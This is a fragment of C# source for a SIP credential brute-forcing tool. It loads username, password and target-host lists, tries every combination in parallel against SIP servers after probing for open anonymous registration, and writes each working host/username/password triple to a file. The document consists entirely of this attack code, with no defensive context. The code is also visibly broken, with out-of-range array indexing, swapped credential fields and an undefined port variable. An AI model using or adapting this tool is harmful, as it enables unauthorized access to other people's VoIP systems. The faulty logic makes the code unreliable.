public static void Main(string[] args)
    {

        int threads = Convert.ToInt32(File.ReadAllText(@"threads.txt"));

        var workItems = new List<object>();


        foreach (string user in File.ReadLines("x.txt"))
        {


            foreach (string pass in File.ReadLines("y.txt"))
            {


                foreach (string line in File.ReadLines("z.txt"))
                {

                    workItems.Add(new object[] { line, user, pass });


                }
                ///////////////////////////////////////////////////////////////////
            }
        }
        var opts = new ParallelOptions() { MaxDegreeOfParallelism = threads };
        var results = Parallel.ForEach(workItems, opts, tesTConn );

        Console.WriteLine("Press ENTER to exit.");
        Console.Read();


    }

    //string domain, int port, string username, string password

    public static void tesTConn(object state)
    {
        try
        {

            object[] array = state as object[];
            string domain = Convert.ToString(array[0]);
            string username = Convert.ToString(array[2]);
            string password = Convert.ToString(array[3]);

            Console.WriteLine("Working with line:" + domain);

            SipClient client = new SipClient(domain, "0", "0");

            client.Connect();

            Contact[] contacts = client.GetRegisteredContacts("sip:" + domain, "sip:0@" + domain);

            if (!(contacts != null && contacts.Length > 0))
            {
                SipClient client1 = new SipClient(domain, port, username, password);
                client1.Connect();
                Contact[] contacts1 = client1.GetRegisteredContacts("sip:" + domain, "sip:" + username + "@" + domain);

                if ( contacts1.Length > 0)
                {

                    Console.WriteLine("Successfully Registered with data IP:" + domain + " | Username: " + username + " | Password: " + password);

                    string path = @domain + ".txt";
                    if (!File.Exists(path))
                    {

                        using (var tw = new StreamWriter(path, true))
                        {
                            tw.WriteLine(domain);
                            tw.WriteLine(domain + " : " + username + " : " + password);
                        }

                    }
                    else if (File.Exists(path))
                    {
                        using (var tw = new StreamWriter(path, true))
                        {
                            tw.WriteLine(domain + " : " + username + " : " + password);
                        }
                    }


                }
                client1.Disconnect();

            }
            client.Disconnect();
            return;
        }
        catch { }
        finally { }


    }
}